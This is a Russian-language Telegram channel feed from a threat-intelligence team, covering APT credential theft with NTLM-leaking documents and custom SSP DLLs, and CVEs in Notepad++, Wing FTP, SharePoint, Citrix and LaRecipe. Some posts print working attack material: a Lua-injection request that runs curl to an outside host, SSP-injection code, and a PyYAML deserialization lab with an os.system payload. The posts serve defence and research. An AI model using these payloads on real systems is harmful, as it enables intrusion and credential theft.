Четыре луча
2.7K subscribers
58 photos
69 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
加入频道
Сбор хешей продолжается

В январе этого года эксперты PT ESC сообщали о фишинговой кампании группировки PhaseShifters (Sticky Werewolf, Angry Likho) по сбору NTLM-хешей. Мы также следили за этой активностью и обнаружили, что злоумышленники продолжают сбор, но уже с нового IP-адреса из той же подсети (31.214.157.162). В некоторых случаях применяют новую технику для утечки данных.

Новый IP-адрес активно используется с января этого года по настоящее время. Мы обнаружили более 40 различных документов формата DOCX на популярном публичном сервисе мультисканера, у которых в word\_rels\document.xml.rels присутствуют ссылки на изображения вида:
file://\31.214.157.162\<random_name>.png
Например,
file://\31.214.157.162\xQGIc9qBS82QXWuC2g7L.png

При открытии документов в Word со ссылками вида file://<IP_address>\<image> система (процесс svchost.exe) обрабатывает ссылку как UNC-путь и инициирует SMB-соединение c указанным IP-адресом в попытке загрузить изображение. Это приводит к утечке имени пользователя, домена и NTLM-хеша. Методом перебора из NTLM-хеша можно восстановить пароль (успех восстановления зависит от сложности пароля) или использовать сам хеш в атаках Pass-the-Hash. Так группировка PhaseShifters проводит разведку и собирает аутентификационные данные, которые могут использоваться при взломе.

Утечка NTLM-хеша происходит даже в случае отсутствия файла изображения — злоумышленники используют случайные названия в ссылках.

Песочницы в подобных документах не находят ничего вредоносного, что может вводить в заблуждение неопытных пользователей. Одна из причин — при детонации вредоносные файлы не загружаются, не создаются и не выполняются.

Примеры фишинговых писем, использовавших новый IP-адрес — скриншоты 1 и 2.
Имена документов — скриншот 3.
Большинство документов загружались из России, часть — из Беларуси.

Новый прием
Среди документов мы обнаружили два архива, которые привлекли наше внимание (скриншот 4).
Оба архива содержали один и тот же LNK-файл под разными именами (скриншот 5).
В параметре Target у этого файла также содержалась ссылка для утечки NTLM-хеша:
\\31.214.157.162\@94OcMlGHaq.png

Возникает вопрос: зачем злоумышленники поместили в архив помимо DOCX-файла еще и LNK-файл?


Дело в том, что этот LNK-файл позволяет утечь NTLM-хешу даже без его открытия пользователем. Жертве достаточно распаковать архив и посмотреть содержимое каталога с LNK-файлом — все, NTLM-хеш будет украден.

Иными словами, достаточно просто открыть каталог с таким LNK-файлом — и NTLM-хеш пользователя станет известен злоумышленникам. Подобная утечка хеша в LNK-файлах считается «by design» и не является уязвимостью.

Идея эксплуатировать UNC-пути ради перехвата хешей не нова. Мы недавно писали, как детектировать похожую уязвимость (CVE-2025-24071), но только в library-ms-файлах.

Сам прием создания таких LNK-файлов известен давно, однако злоумышленники скорее всего черпали вдохновение из этой статьи 2020 года по следующим совпадениям:
1️⃣ наличие в lnk-файлах аналогичного hot key Ctrl+Alt+O;
2️⃣ использование @ в начале имени изображения в ссылке для отображения файла поверх остальных и упрощения взаимодействия пользователя с ним.

IOCs
С2 для сбора NTLM-хешей
31.214.157.162


Архивы с LNK-файлом (март 2025)
42c2c1fc08a23cfddeb4454c48b204b187529eec55499931af311c1fb7147b52
d49719c4f61485d14031a64b8f28ee663c61a91d142e4149a32fa7a98a6c30a6


LNK-файл
00c5876f07d463b3c5519d630b9868ddcddf631375ff17c4910e22fab196a442


Документы с утечкой NTLM-хеша
7d979f396b68294bb8077e05253086f9fb7a789a0e5ab866857669b7a2f1d45a
eeffda92e025ac69e2235f654c2ac7d84c6d18208f0e4183770c876d5f1d9993
2b75c2e499d4e67bc00f45aa28aa09b04c3537a9b4347cfef7fe8d391ca764d7
e41abc39f533e0d62991b7f0199b954ca76d415717126a3e6012e9711e689e47
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍96🤨1👾1
Как группировка Erudite Mogwai перехватывает учетные данные Windows. Часть 1

При расследовании атаки группировки Erudite Mogwai (aka Space Pirates) на одного из клиентов мы нашли модифицированную библиотеку mimilib.dll. Windows Defender ее не заметил, потому что злоумышленники при модификации оставили только одну экспортную функцию SpLsaModeInitialize и убрали все строки, на которые могли бы сработать сигнатуры АВПО.

Эта библиотека — кастомный Security Support Provider (SSP). После загрузки в память процесса lsass.exe SSP перехватывает и записывает в лог-файл учетные данные пользователя, когда он проходит аутентификацию.

Как внедряют такую DLL SSP в процесс lsass.exe? Есть два способа.

1️⃣ Регистрация через реестр как LSA Security Package
— Поместить кастомный SSP DLL в %systemroot%\system32
— Прописать его как LSA Security Packages через реестр:
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0<custom_ssp_name>" /t REG_MULTI_SZ /f

— Перезагрузить систему

2️⃣ Загрузка через API-вызов AddSecurityPackage
— Загрузить DLL с помощью функции AddSecurityPackage из библиотеки Secur32.lib.

Пример кода, реализующий этот метод:
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")

int main()
{
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"<path_to_ssp_dll>", &spo);
return 0;
}


Плюсы этого метода:
DLL можно разместить в любом месте
Не нужна перезагрузка

Минус:
После перезагрузки SSP выгрузится из пространства процесса lsass.exe

Группировка Erudite Mogwai в своей атаке использовала один из этих методов. Какой — угадаете?

🔥 — если голосуете за первый вариант
❤️ — если голосуете за второй

Завтра раскроем карты!
Please open Telegram to view this post
VIEW IN TELEGRAM
23🔥13🤔2👍1👾1
Как группировка Erudite Mogwai перехватывает учетные данные Windows. Часть 2

В прошлом посте мы рассказывали о методе перехвата учетных данных группировки Erudite Mogwai (aka Space Pirates). Тогда вы угадывали, какой способ они использовали. Сегодня — правильный ответ!

👀 Злоумышленники применили метод загрузки SSP через вызов AddSecurityPackage. Этот способ оставляет меньше артефактов на атакуемой системе и помогает проще скрыться.

Как хакеры скрывали активность?

😬Подменой журнала Windows Defender: C:\Windows\Temp\MpCmdRun.log

Строка SSSPotless из ITW-образца указывает, что злоумышленники использовали исходный код модифицированной mimilib.dll из статьи на портале Red Team Notes (скриншот 1).

Такой трюк запутывает аналитиков:
— Имя и путь вредоносного файла совпадают с легитимным.
— При перезаписи файл сохраняет большинство временных меток.
— АВПО продолжает логировать события в уже подмененный файл, из-за чего размер файла и временная метка модификации файла постоянно меняются (скриншот 2).

❗️Последний пункт может помочь определить примерную дату подмены по первому событию в логе.

😬Мимикрией при сохранении учетных данных
Для сокрытия перехваченных учетных данных злоумышленники использовали мимикрию — креды добавляли в конец легитимного файла (скриншот 3):
C:\Windows\System32\NOISE.DAT
Этот файл используется службой индексации Windows для фильтрации общих слов и строк, хранящихся в нем.

В публичном мультисканнере мы нашли аналогичную библиотеку с логами Windows Defender в конце файла. Время компиляции, имя и хеш-суммы файлов без оверлей совпадают.

Вероятно группировка Erudite Mogwai использует такую мимикрию с конца 2024 года.

Original dll-name: TESTSSP.dll
fab60386c473d58cb0772a49e2737ae5 
6bd3a19b87648d368b5b2286f5018d7342bfe060
aea34cadab9a0d5774c9132251a301c8856047b0db481f0b2e53d5d30a407ff0

Итог: те, кто поставил сердечки — правы!
Отмечаем победу лайком ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
33👍9🔥2😁2👾1
В последних версиях Notepad ++ обнаружена уязвимость CVE-2025-49144, которая может позволить злоумышленникам повысить привилегии до SYSTEM.

Эта уязвимость находится в логике поиска бинарных файлов для регистрации различных компонентов Notepad++ во время установки его инсталлером. Для некоторых компонентов не указаны абсолютные пути. Таким образом сам инсталлятор Notepad ++ подвержен уязвимости к порядку поиска компонентов (Search Order).

👍 Что происходит

Во время установки Notepad ++ запускает следующие бинарные файлы, уязвимые к Search Order Hijack:

1. regsvr32.exe регистрирует COM-компонент библиотеки NppShell.dll в реестре.
regsvr32 /s "C:\Program Files\Notepad++\contextMenu\NppShell.dll"

NppShell.dll — это DLL, содержащая включает в себя несколько COM-объектов. Ее цель — интеграция иконки Notepad ++ в контекстное меню при правом клике мыши на какой-либо файл для открытия его Notepad'ом.

2. rundll32.exe вызывается только при переустановке Notepad ++ на систему
rundll32.exe "C:\Program Files\Notepad++\contextmenu\NppShell.dll",CleanupDll

Из библиотеки NppShell.dll вызывается функция CleanupDll — она отвечает за удаление модуля NppShell, если он уже присутствует на системе. Таким образом происходит переустановка или обновление.

Злоумышленники могут воспользоваться особенностью порядка поиска в Windows в случае указания не абсолютных путей:

1. Папка, где было запущено приложение
2. System32
3. /Windows/
4. WorkingDirectory
5. PATH переменная окружения

Таким образом, любой бинарный файл, который мы назовем одноименно с regsvr32.exe или rundll32.exe и поместим в одну папку с инсталером, будет запущен с повышенным уровнем целостности, так как установка инициирует прохождение UAC. Имея в распоряжении подобный процесс, злоумышленникам не составит труда подняться до SYSTEM.

Недавно Notepad ++ выпустили релиз версии 8.2.2, где исправили эту уязвимость. Чтобы проверить исправление, достаточно посмотреть параметры вызова CreateProcessW в процессе установки различных версий Notepad.

👍 Как проверить, исправлена ли уязвимость

В старой версии 8.6.8 (верхний скриншот) отсутствует абсолютный путь до rundll32.exe в параметрах вызова CreateProcessW

В обновленной версии 8.8.2 (нижний скриншот) указан абсолютный путь

Рекомендации по mitigation\detection
1. Обновление Notepad++ до последней версии 8.8.2, где устранена уязвимость порядка поиска
2. Отслеживание подозрительных запусков rundll32.exe и regsvr32.exe из нестандартных директорий (C:\Windows\System32|C:\Windows\SysWoW64)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍129🤔42👾2
Десятибалльная уязвимость CVE-2025-47812 в Wing FTP Server: что важно знать

CVE-2025-47812 — критическая уязвимость, которая позволяет выполнить удалённый код (RCE) через инъекцию LUA. Она затрагивает версии Wing FTP Server до 7.4.4 и связана с неправильной обработкой нулевого байта (\0 или %00) в имени пользователя.

Метрики
Base Score : 10 Critical
CWE: CWE-158


Эта уязвимость опасна не только для панели авторизации пользователей, но и для панели авторизации администратора.

Как работает атака
— Атакующий вставляет LUA-скрипт в поле username при авторизации.
— Сервер возвращает ответ с cookie, содержащим UID или UIDADMIN.
— Атакующий посылает запрос на любой защищённый эндпоинт, доступный после авторизации, с заголовком из этого cookie.

В результате — удаленное выполнение кода.

Важно: для успешной атаки не нужны действительные учётные данные, если включён анонимный вход.

О конечных точках
На сегодняшний момент публичные эксплойты атакуют конечную точку loginok.html. Однако, как мы уже писали, уязвима и панель авторизации администратора на admin_loginok.html.
/loginok.html — вход для пользователей.
/admin_loginok.html — вход для администратора.

Пример атаки на панель авторизации администратора
1. Отправляем POST запрос на /admin_loginok.html с телом (скриншот 1):
username=admin%00]];os.execute("curl+https://yzvsXXX.oast.fun")%0d--&password=admin1234&username_val=admin&password_val=admin1234

В параметре username отправляется Curl, на внешний сервер, через os.execute.

2. Отправляем запрос с полученным UIDADMIN (скриншот 2).
3. Получаем запрос от атакуемого сервера (скриншот 3).

Для атаки необходимо знать данные авторизации администратора. А LUA-код может быть любым.

Как защититься
На WAF можно написать правило, блокирующее POST запросы на уязвимые конечные точки /loginok.html и /admin_loginok.html с телом сообщения, которое содержит нулевой бай. Например, через подобное регулярное выражение:
(%00|\x00).*?[:=\.-]+


Настоятельно рекомендуем обновиться на версию от 7.4.4.
🔥1411🫡51
Как и зачем анализировать ссылки на Discord при расследовании?

Иногда злоумышленники размещают вредоносные файлы на CDN-серверах Discord — платформе, которая с октября 2024 заблокирована в России. Например, ссылка для загрузки файла может выглядеть так:
https://cdn.discordapp.com/attachments/1385333150288183437/1385334815095787740/attachment.rar?ex=6855b116&is=68545f96&hm=6b61feec556011ad9f14fd362cf376dd4d3f22da46cc0a80d5cc42d611d77eee&


Как читать такие ссылки, чтобы получить из них максимум полезной информации
Ссылка выше имеет следующий формат:
https://cdn.discordapp.com/
attachments/<channel_id>/<attachment_id>/attachment.rar

channel_id -> 1385333150288183437
attachment_id -> 1385334815095787740.

Номера id записываются в формате Snowflake. Вот, что об этом пишут в документации:
Discord использует формат Snowflake, разработанный в X (ранее Twitter), для уникальных идентификаторов.

Что мы можем узнать
— channel_id — дата создания канала, в котором опубликовано сообщение с вложением.
— attachment_id — дата создания сообщения с вложением.

В значениях id первые 42 бита — время в миллисекундах с Discord Epoch = 2015-01-01T00:00:00Z.

Вывод: эта ссылка создана 2025-06-19 19:05:58Z и истекает 2025-06-20 19:05:58Z. Есть онлайн-сервисы для декодирования: snowsta.mp, discord.id и другие.

Еще одно важное изменение — с 2024 года Discord применяет подписанные временные CDN-ссылки на вложения. Обычно они действуют всего 24 часа. В таких ссылках также появились дополнительные параметры в URL:
ex=6855b116&is=68545f96&hm=6b61feec556011ad9f14fd362cf376dd4d3f22da46cc0a80d5cc42d611d77eee&

is — дата создания ссылки в hex (время в формате unix epoch).
ex — время истечения действия ссылки в hex.
hm — уникальная подпись, валидная до конца срока действия.

Итого, вот какие данные вы можете узнать из ссылки на Discord
— дату создания канала (декодируется онлайн-сервисами);
— дату публикации сообщения с вложением (декодируется онлайн-сервисами);
— дату создания и окончания действия ссылки (из параметров is и ex).
🔥86👍3🤯1👾1
Как и кого атаковали хакеры в 1 полугодии 2025? Расскажем на этой неделе.

Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Раз в полгода мы собираем самые интересные находки и рассказываем о них.

В этот четверг, 24 июля, в 12:00 наши эксперты Геннадий Сазонов и Владимир Нестор проведут вебинар «Хроники целевых кибератак 2025: аналитика, кейсы, рекомендации».

На вебинаре ребята расскажут:
🫡Как изменился ландшафт целевых атак в первые 6 месяцев 2025 года;
🫡 Какие отрасли подверглись атакам, и кто атакует: цели, уровни сложности атак;
🫡 Какие техники и тактики использовали киберпреступники — разбор реальных кейсов.

Регистрация открыта!
Please open Telegram to view this post
VIEW IN TELEGRAM
5👍54🤬1👾1
Как защититься от ToolShell — критические zero-day уязвимости в SharePoint

Недавно Microsoft выпустила патч для активно эксплуатируемых уязвимостей CVE-2025-53770 и CVE-2025-53771 в Microsoft SharePoint.

Цепочка уязвимостей CVE-2025-53770 и CVE-2025-53771 позволяет удаленно без аутентификации выполнять произвольный код. Это своего рода ProxyLogon 2.0, только для SharePoint! Сейчас доступны несколько PoC для CVE-2025-53770, поэтому интерес к эксплуатации этой уязвимости только подогревается.

У нас в блоге мы выпустили небольшой разбор особенностей эксплуатации этих уязвимостей и поделились компиляцией публично известных IOC. Читайте!

Но сначала рекомендуем проверить, есть ли в вашем периметре SharePoint-серверы. И если есть — следуйте рекомендациям.

👍 Рекомендации:

1) Убрать SharePoint-серверы из публичного доступа (например, за VPN).

2) Установить обновления:
— Июльские (CVE-2025-49701, CVE-2025-49703, CVE-2025-49704, CVE-2025-49706):
⚫️ SharePoint Server 2016 (KB5002744);
⚫️ SharePoint Server 2019 (KB5002741);
— Экстренные (CVE-2025-53770 и CVE-2025-53771):
⚫️ SharePoint Server 2016 (KB5002759, KB5002760 патчи выпустили вчера вечером, 21.07.2025);
⚫️ SharePoint Server 2019 (KB5002753, KB5002754);
⚫️ SharePoint Server Subscription Edition (KB5002768).

3) Заменить машинные ключи SharePoint и перезапустить IIS или сам сервер (подробно писали в этом посте).

👍 Как обнаружить эксплуатацию CVE-2025-53770? Что стоит проверить?

— наличие файла spinstall0.aspx.

В волнах атак он располагался по путям (отличаются каталогами 15 и 16):
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\15\TEMPLATE\LAYOUTS\spinstall0.aspx
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx

С высокой долей вероятности будущие веб-шеллы будут располагаться в других местах и под другими именами, которые зависят от нагрузок для десериализации, поэтому необходимо также исследовать IIS-логи.

— наличие файла C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js.
— логи IIS на наличие:
POST-запросов на /_layouts/15/ToolPane.aspx?DisplayMode=Edit c Referrer /_layouts/SignOut.aspx;
GET-запросов на /_layouts/15/spinstall0.aspx;
Других GET-запросов на подозрительные aspx-файлы.

👍 Для детектирования атак/сканирования на IDS/WAF можно написать правило, которое блокирует POST запросы на URI /_layouts/15/ToolPane.aspx?DisplayMode=Edit c заголовком Referrer /_layouts/SignOut.aspx.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍7😱4🤬2🤡1👾1
Критическая уязвимость в Citrix NetScaler ADC and Gateway CVE-2025-5777 😳

CVE-2025-5777, известная как CitrixBleed 2, — это уязвимость утечки памяти во время парсинга некоторых POST-запросов, в частности из-за параметра login. Уязвимость затрагивает NetScaler ADC и Gateway в версиях до выхода следующих патчей: 14.1 до 14.1-43.56, 13.1 до 13.1-58.32. В том числе вариации FIPS и NDcPP для версий 13.1 и 12.1.

🫡 Метрики
Base core: 9,3
CWE:
CWE-908
CWE-457
CWE-125

🫡 Суть уязвимости

— Уязвимость возникает, когда отправляют POST-запрос c параметром login, но без знака равенства и значения.
— В ответе сервера в XML-элементе <InitialValue> возвращается фрагмент содержимого неинициализированной памяти процесса.
— Каждая такая операция может сливать примерно до 127 байт содержимого, что позволяет постепенно получать различные чувствительные данные из памяти.

🫡 Как работает эксплуатация
— Отправляется специально сконструированный POST-запрос на эндпоинт /p/u/doAuthentication.do без необходимости аутентификации.
— В параметр login передаётся строка без знака равенства и значения, login может передаваться в разном регистре, например, Login. Как раз такая атака на скриншоте.

Первые упоминания о PoC появились около трёх недель назад, но в сети до сих пор находят уязвимые устройства. На сегодня известно о 14 публичных эксплойтах и двух шаблонах для сканера уязвимости Nuclei. Самый свежий эксплойт опубликован четыре дня назад. Настоятельно рекомендуем обновиться 😳

🫡 Как защититься
На WAF можно написать правило, которое блокирует POST-запросы на URI /p/u/doAuthentication.do c Body, состоящим только из параметра login в разных регистрах.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8👍5🤔42👾2🤬1🤩1
Proxy Trickster: эксплуатирует инфраструктуру круглосуточно и глобально 👀

За срочными новостями о ToolShell забыли рассказать вам о новой группировке, которую мы обнаружили в одном из наших расследований. Исправляемся!


Этой весной мы расследовали ИБ-инцидент в компании из IT-сектора. И выяснили, что главная цель атакующих — майнинг криптовалют и proxyjacking. Казалось бы, что интересного в заурядном майнере или инструменте для проксирования трафика?

Оказывается, есть:
🫡 необычные техники уклонения от обнаружения и скрытности;
🫡 построение целой архитектуры в виде скриптов и других приемов автоматизации;
🫡 следы использования утилиты gs-netcat и глобальный характер атаки: мы обнаружили свидетельства взлома нескольких сотен инфраструктур по всему миру.

Группировка активна с 2024 года. Мы назвали её Proxy Trickster и написали подробную статью о её работе. Читайте в блоге!
Please open Telegram to view this post
VIEW IN TELEGRAM
13🔥6🤔6👍2👾21😁1🤬1
SSTI на примере CVE-2025-53833

CVE-2025-53833 — критичная уязвимость внедрения шаблонов на стороне сервера в LaRecipe. Уязвимы версии до 2.8.1. Рекомендуем обновиться 💣

LaRecipe — это открытый PHP-пакет, чтобы создавать документы в формате сайта. Его обычно используют для технической документации к проектам на Laravel, которые превращают Markdown-файлы в удобный веб-интерфейс с навигацией и поиском.

Метрики
Base Core: 10
CWE: CWE-1336


😬 Кратко о SSTI:
• Приложение использует шаблоны, чтобы генерировать HTML на сервере.
• Шаблонный движок поддерживает вставку переменных и выполнение функций.
• Если ввод пользователя подставляется в шаблон без фильтрации, то возможна инъекция.
• Злоумышленник может выполнить произвольный код на сервере.

В LaRecipe работает следующий механизм:
Сервер обрабатывает данные из URL запроса пользователя ⮕ компилирует PHP-код ⮕ подставляет полученный результат в HTML разметку.

Если конкретнее, он формирует дополнительные ссылки на документы. Например:
👁 Пользователь ввел: http:/target/?test=test
👁 Сервер вернул HTML : <a href="/user-manual/1.0?test=test#introduction">Introduction</a>

😬 Суть уязвимости CVE-2025-53833:
При вводе пользователем собственного шаблона, например {{test}}, сервер вернет ошибку 500 с подобным логом:
Error: Undefined constant "test" in …/larecipe/src/Traits/HasBladeParser.php(25) : eval()'d code:4


Участок кода HasBladeParser.php(25):
try {
eval('?'.'>'.$content);
}


Ошибка возникает при компиляции PHP-кода, так как переменная test не определена. Но если мы сами определим ее в шаблоне http:/target/?{{$test=’LOL’}} — ошибки не будет, мы получит верно сгенерированный HTML. Важно, что в качестве параметра URL HTML блока, будет находится значение, которое определено нашей переменной — LOL.
<a href="/user-manual/1.0?lol#introduction">Introduction</a>


Данная ошибка показывает, что компиляция происходит в функции eval() и значения на сервере никак не валидируются. Значит, мы можем вызвать уже определенную функцию system() и выполнить RCE. Пример — на скриншоте.

💡 Важное уточнение: полезная нагрузка может передаваться не только в качестве параметра, но и в качестве его значения. Если полезную нагрузку ввести в качестве пути, сервер вернет 404.

😬 Ка защититься:
На WAF можно написать правило, которое блокирует запросы с таким содержимым:
• названия переменных содержат конструкцию {{.*?}};
• в значениях переменных также содержится {{.*?}}. Чтобы избежать ложных сработок, например на json, включите в этот блок различные PHP-функции и операторы {{.*?(system|shell|exec|shell_exec|...|phpinfo\(\)...).*?}}.
Please open Telegram to view this post
VIEW IN TELEGRAM
14🔥7👌4🤔31🤬1
Десериализация ненадежных данных

👀 Делимся небольшой «лабораторной работой», которую можно повторить самостоятельно. Она касается уязвимости «Десериализация ненадежных данных» (CWE-502). Эта уязвимость в некоторых случаях может приводить к удаленному выполнению кода (RCE).

В библиотеке PyYAML существует задокументированное поведение, которое позволяет исполнять произвольный Python-код. До версии 5.4 это поведение вызывается не совсем явным образом, через yaml.load(), который по умолчанию разрешает исполнение Python-скриптов. В более новых версиях PyYAML поведение вызывается более явно — через yaml.unsafe_load(). Если сторонний пользователь может контролировать файлы, загружаемые в yaml.load() в версиях PyYAML >=5.4, то это открывает возможность для RCE атаки.

😬 «Лабораторная работа» основана на недавно найденной уязвимости CVE-2025–50460 в проекте ms-swift.

😬 Метрики
Base Score: 9,9
CWE: CWE-502


😬 Код и необходимые компоненты
1) Установить flask любой версии.
2) Установить PyYAML версии <=5.3.
3) Скопировать, вставить и запустить код.

from flask import Flask, request, render_template_string
import yaml
app = Flask(__name__)
HTML = '''
<!doctype html>
<form action="/" method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Загрузить>
</form>
<pre>{{ result }}</pre>
'''
@app.route("/", methods=["GET", "POST"])
def upload():
result = ""
if request.method == "POST":
file = request.files.get("file")
if file:
try:
data = yaml.load(file.read(), Loader=yaml.FullLoader)
result = f"Загружено: {data}"
except Exception as e:
result = f"Ошибка: {e}"
return render_template_string(HTML, result=result)

if __name__ == "__main__":
app.run(debug=True)


😬 Полезная нагрузка
— Cоздайте Yaml файл с произвольным названием.
— Замените <RCE> на любой shell код.

!!python/object/new:type
args: ["z",!!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('<RCE>')"


type(...)
динамически создаёт новый класс z

z() создаёт экземпляр этого класса

obj.extend(...) вызывает exec(...), передавая туда строку

Внутри этой строки вызывается os.system("<RCE>")

В итоге выполняется системная команда <RCE>. В нашем примере выполнялся запрос curl.

😬 Как защищаться
1) Обновите PyYAML.
2) Для более старых PyYAML используйте yaml.safe_load().
3) Ограничивайте возможность загрузки yaml для сторонних пользователей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1410👌4👏2🤯21😁1🤬1👾1
CFP: Подавайтесь на SOC Forum 2025!

Всем привет! Call for Papers на техно-стрим SOC Forum 2025 открыт!

Темы:

😬 Offense: актуальные техники атак, этичный хакинг, выявление уязвимостей, новые инструменты и наступательные подходы.
😬 Defense: актуальные технологии защиты, обнаружение и реагирование на угрозы, кейсы реальных атак и их разбор, анализ APT-группировок и их инструментов (DFIR, MA, TI, TH, SOC, VM).
😬 Архитектура ИТ и ИБ: построение безопасных систем.
😬 SOC-практикум: для тех, кто хочет обменяться опытом, лайфхаками и рабочими методиками.

Тайминг: до 30 минут.
Дата и время: 19–20 ноября, «Тимирязев Центр».

Кстати, все выступающие получат +1 билет.

В этом году мы намереваемся сделать технический стрим SOC Forum еще более экспертным и полезным. Присоединяйтесь!

Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.

Доклады принимаются по 14 сентября включительно.

Стать спикером
Please open Telegram to view this post
VIEW IN TELEGRAM
11🔥6👍4